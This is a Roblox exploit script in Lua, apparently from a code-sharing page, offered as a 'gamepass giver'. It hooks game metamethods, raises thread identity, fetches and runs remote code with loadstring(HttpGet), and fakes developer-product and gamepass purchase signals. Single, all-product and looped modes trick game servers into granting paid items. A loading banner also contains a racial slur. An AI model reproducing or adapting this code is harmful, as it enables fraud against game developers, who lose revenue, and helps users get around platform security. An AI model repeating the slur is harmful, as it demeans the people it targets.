-- the code is extremely messy because something in the code editor fucked it up all at once and for some reason removed indents in some parts of the code while kept indents in some other parts of the code LOL
local LOAD_TIME = tick()

local queueonteleport = queue_on_teleport or queueonteleport
local setclipboard = toclipboard or setrbxclipboard or setclipboard
local clonefunction = clonefunc or clonefunction
local setthreadidentity = set_thread_identity or setthreadcaps or setthreadidentity
local firetouchinterests = fire_touch_interests or firetouchinterests
if getnamecallmethod then
    local getnamecallmethod = get_namecall_method or getnamecallmethod
end
-- // cloneref function for exploits that dont support it
local a = Instance.new("Part")
for b, c in pairs(getreg()) do
    if type(c) == "table" and #c then
        if rawget(c, "__mode") == "kvs" then
            for d, e in pairs(c) do
                if e == a then
                    getgenv().InstanceList = c
                    break
                end
            end
        end
    end
end
local f = {}
function f.invalidate(g)
    if not InstanceList then
        return
    end
    for b, c in pairs(InstanceList) do
        if c == g then
            InstanceList[b] = nil
            return g
        end
    end
end
if not cloneref then
    getgenv().cloneref = f.invalidate
end

getrenv().Visit = cloneref(game:GetService("Visit"))
getrenv().MarketplaceService = cloneref(game:GetService("MarketplaceService")) -- // theres a reason why thats referenced in the roblox environment
getrenv().HttpRbxApiService = cloneref(game:GetService("HttpRbxApiService"))
local CoreGui = cloneref(game:GetService("CoreGui"))
local ContentProvider = cloneref(game:GetService("ContentProvider"))
local RunService = cloneref(game:GetService("RunService"))
local Stats = cloneref(game:GetService("Stats"))
local Players = cloneref(game:GetService("Players"))
local NetworkClient = cloneref(game:GetService("NetworkClient"))
local VirtualUser = cloneref(game:GetService("VirtualUser"))
local ProximityPromptService = cloneref(game:GetService("ProximityPromptService"))
local Lighting = cloneref(game:GetService("Lighting"))
local AssetService = cloneref(game:GetService("AssetService"))
local TeleportService = cloneref(game:GetService("TeleportService"))
local NetworkSettings = settings().Network
local UserGameSettings = UserSettings():GetService("UserGameSettings")
getrenv().getgenv = clonefunction(getgenv)

local message = Instance.new("Message")
message.Text = "loading"
message.Name = "💋❀  𝓝𝓘𝓖𝓖𝓐 ! 𝓗𝓐𝓒𝓚  ❀💋"
message.Parent = CoreGui

task.wait(0.25)

getgenv().stealth_call = function(script)
    getrenv()._set = clonefunction(setthreadidentity)
    local old
    old =
        hookmetamethod(
        game,
        "__index",
        function(a, b)
            task.spawn(
                function()
                    _set(7)
                    task.wait(0.1)
                    local went, error =
                        pcall(
                        function()
                            loadstring(script)()
                        end
                    )
                    print(went, error)
                    if went then
                        local check = Instance.new("LocalScript")
                        check.Parent = Visit
                    end
                end
            )
            hookmetamethod(game, "__index", old)
            return old(a, b)
        end
    )
end

local function touch(x)
    x = x:FindFirstAncestorWhichIsA("Part")
    if x then
        if firetouchinterest then
            task.spawn(
                function()
                    firetouchinterest(x, Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"), 1)
                    wait()
                    firetouchinterest(x, Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart"), 0)
                end
            )
        end
        x.CFrame = Players.LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
    end
end

for i, v in pairs(game.RobloxReplicatedStorage:GetDescendants()) do
    pcall(
        function()
            v:Destroy()
        end
    )
end

task.spawn(
    function()
        local discord = loadstring(game:HttpGet("https://[Log in to view URL]"))()
        local win = discord:Window("gamepass giver (wip)")
        local serv = win:Server("gamepass", "http://[Log in to view URL]")
        local purchase = serv:Channel("Purchase Exploits")
        local x_x =
            game:GetService("HttpService"):JSONDecode(
            game:HttpGet(
                "https://[Log in to view URL]" ..
                    game.GameId .. "&page=1"
            )
        )
        local dnames = {}
        local dproductIds = {}
        if type(x_x.DeveloperProducts) == "nil" then
            table.insert(dnames, " ")
        end

        pcall(
            function()
                local currentPage = 1

                repeat
                    local response =
                        game:HttpGet(
                        "https://[Log in to view URL]" ..
                            tostring(game.GameId) .. "&page=" .. tostring(currentPage)
                    )
                    local decodedResponse = game:GetService("HttpService"):JSONDecode(response)
                    local developerProducts = decodedResponse.DeveloperProducts
                    print("Page " .. currentPage .. ":")
                    for _, developerProduct in pairs(developerProducts) do
                        table.insert(dnames, developerProduct.Name)
                        table.insert(dproductIds, developerProduct.ProductId)
                    end
                    currentPage = currentPage + 1
                    local final = decodedResponse.FinalPage
                until final
            end
        )
        purchase:Label("Fake Purchaser!\nThis tricks server that you bought a DevProduct!")
        purchase:Label("Only works in some games...")
        local index
        purchase:Dropdown(
            "Below is a list of all DevProducts in this game!",
            dnames,
            function(x)
                index = nil
                for i, name in ipairs(dnames) do
                    if name == x then
                        index = i
                        break
                    end
                end
            end
        )
        getgenv().looppurchases = false
        purchase:Label("If nothing shows above, no DevProducts found.")
        purchase:Toggle(
            "Loop Selected Dev Product",
            false,
            function(bool)
                getgenv().looppurchases = bool
                while getgenv().looppurchases == true and task.wait() do
                    if index then
                        local product = dproductIds[index]
                        pcall(
                            function()
                                stealth_call(
                                    "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                        product .. ", true) "
                                )
                            end
                        )
                    end
                end
            end
        )
        purchase:Button(
            "Fire Selected Dev Product!",
            function()
                if index then
                    local product = dproductIds[index]
                    pcall(
                        function()
                            stealth_call(
                                "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                    product .. ", true) "
                            )
                        end
                    )
                    task.wait(0.2)
                    if not Visit:FindFirstChild("LocalScript") then
                        discord:Notification(
                            "Error",
                            "Your executor blocked function SignalPromptProductPurchaseFinished.",
                            "Okay!"
                        )
                    else
                        discord:Notification(
                            "Success",
                            "Fired PromptProductPurchaseFinished signal to server with productId: " .. tostring(product),
                            "Okay!"
                        )
                        Visit:FindFirstChild("LocalScript"):Destroy()
                    end
                else
                    discord:Notification("Error", "Something went wrong but I don't know what.", "Okay!")
                end
            end
        )
        purchase:Button(
            "Fire All Dev Products",
            function()
                getrenv()._set = clonefunction(setthreadidentity)
                local starttickcc = tick()
                for i, product in pairs(dproductIds) do
                    task.spawn(
                        function()
                            pcall(
                                function()
                                    stealth_call(
                                        "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                            product .. ", true) "
                                    )
                                end
                            )
                        end
                    )
                    task.wait()
                end
                local endtickcc = tick()
                local durationxd = endtickcc - starttickcc
                discord:Notification(
                    "Attempt",
                    "Fired All Dev Products! Took " .. tostring(durationxd) .. " Seconds!",
                    "Okay!"
                )
            end
        )
        getgenv().looppurchases2 = false
        purchase:Toggle(
            "Loop All Dev Products",
            false,
            function(bool)
                getgenv().looppurchases2 = bool
                while getgenv().looppurchases2 == true and task.wait() do
                    for i, product in pairs(dproductIds) do
                        task.spawn(
                            function()
                                pcall(
                                    function()
                                        stealth_call(
                                            "MarketplaceService:SignalPromptProductPurchaseFinished(game.Players.LocalPlayer.UserId, " ..
                                                product .. ", true) "
                                        )
                                    end
                                )
                            end
                        )
                        task.wait()
                    end
                end
            end
        )
        purchase:Seperator()
        purchase:Label("Pretty much the same as the one above but for gamepass")
        local gamepass =
            game.HttpService:JSONDecode(
            game:HttpGet("https://[Log in to view URL]" .. game.GameId .. "/game-passes?limit=100&sortOrder=1")
        )
        local gnames = {}
        local gproductIds = {}
        for i, v in pairs(gamepass.data) do
            table.insert(gnames, v.name)
            table.insert(gproductIds, v.id)
        end
        local gamepass
        purchase:Dropdown(
            "Below is a list of all GamePass in this game!",
            gnames,
            function(x)
                for i, name in ipairs(gnames) do
                    if name == x then
                        gamepass = gproductIds[i]
                        break
                    end
                end
            end
        )
        purchase:Label("If nothing shows above, no GamePass found.")
        purchase:Button(
            "Fire Selected Gamepass",
            function()
                if gamepass then
                    pcall(
                        function()
                            stealth_call(
                                "MarketplaceService:SignalPromptGamePassPurchaseFinished(game.Players.LocalPlayer, " ..
                                    tostring(gamepass) .. ", true)"
                            )
                        end
                    )
                    task.wait(0.2)
                    if not Visit:FindFirstChild("LocalScript") then
                        discord:Notification(
                            "Error",
                            "Your executor blocked function SignalPromptGamePassPurchaseFinished.",
                            "Okay!"
                        )
                    else
                        discord:Notification(
                            "Success",
                            "Fired PromptProductGamePassPurchaseFinished signal to server with productId: " ..
                                tostring(gamepass),
                            "Okay!"
                        )
                        Visit:FindFirstChild("LocalScript"):Destroy()
                    end
                else
                    discord:Notification("Error", "Something went wrong but I don't know what.", "Okay!")
                end
            end
        )
        
        main:Label(
            "                            UI loaded in " ..
                string.format("%s seconds.", string.format("%.2f", tostring(tick() - LOAD_TIME)))
        )
        pcall(
            function()
                message:Destroy()
            end
        )
    end
)

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: